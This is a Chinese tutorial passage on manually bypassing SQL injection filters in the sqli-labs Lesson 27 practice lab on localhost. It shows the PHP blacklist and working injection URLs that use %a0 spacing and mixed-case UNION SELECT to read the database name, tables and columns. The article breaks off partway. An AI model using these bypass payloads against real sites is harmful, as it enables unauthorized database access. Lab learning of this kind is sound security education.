专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
AustinDatabases  ·  眼见高楼起,眼见高楼塌,MySQL的好日子到头了 ·  15 小时前  
AustinDatabases  ·  眼见高楼起,眼见高楼塌,MySQL的好日子到头了 ·  15 小时前  
网信浙江  ·  2024年我国数字产业完成业务收入35万亿元 ·  昨天  
甘肃商务  ·  强化全流程管理 ... ·  2 天前  
甘肃商务  ·  强化全流程管理 ... ·  2 天前  
复旦管院职业发展中心CDO  ·  活动报名丨南方基金校园大使招募令 ·  2 天前  
复旦管院职业发展中心CDO  ·  活动报名丨南方基金校园大使招募令 ·  2 天前  
51好读  ›  专栏  ›  看雪学苑

如何手动绕过SQL注入过滤器?(二)

看雪学苑  · 公众号  · 互联网安全  · 2017-07-13 18:13

正文


Lesson 27



本节延续上一节( 传送门 )。难度愈发的大了,因为这次被过滤掉的有UNION/union,SELECT/select,空格和注释。还是老方法,寻找替代品来绕过它!

function blacklist($id)

$id=preg_replace('/[\/\*]/',"",$id);               //strip out /*

$id=preg_replace('/[-]/',"",$id);                   //strip out -

$id=preg_replace('/[#]/',"",$id);                  //strip out #

$id=preg_replace('/union/s',"",$id);           //strip out union

$id=preg_replace('/select/s',"",$id);           //strip out select

$id=preg_replace('/UNION/s',"",$id);        //strip out UNION

$id=preg_replace('/SELECT/s',"",$id);        //strip out SELECT

$id=preg_replace('/Union/s',"",$id);         //strip out Union

$id=preg_replace('/Select/s',"",$id);         //strip out Select


首先打开浏览器,输入http://localhost:81/sqli/Less-27/?id=1' AND'1=1(注:具体以个人配置为准)


由上图可以看出,空格被过滤掉了。

现在来看看如何绕过UNION/union,SELECT/select和空格过滤器:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,2,3%a0AND'1=1


由上图可以看出,显然我们成功了。(注:此图为译者所截,原文此处有误)

如果你已经明白了上面的方法,那么接下来开始获取数据库信息:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,database(),3%a0AND'1=1

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0t able_schema=database()%a0AND'1=1

由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接着来看看表users中有哪些列:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0 table_name='users'%a0AND'1=1

由上图可以看出,该表包含了三列,分别是:

C1: id







请到「今天看啥」查看全文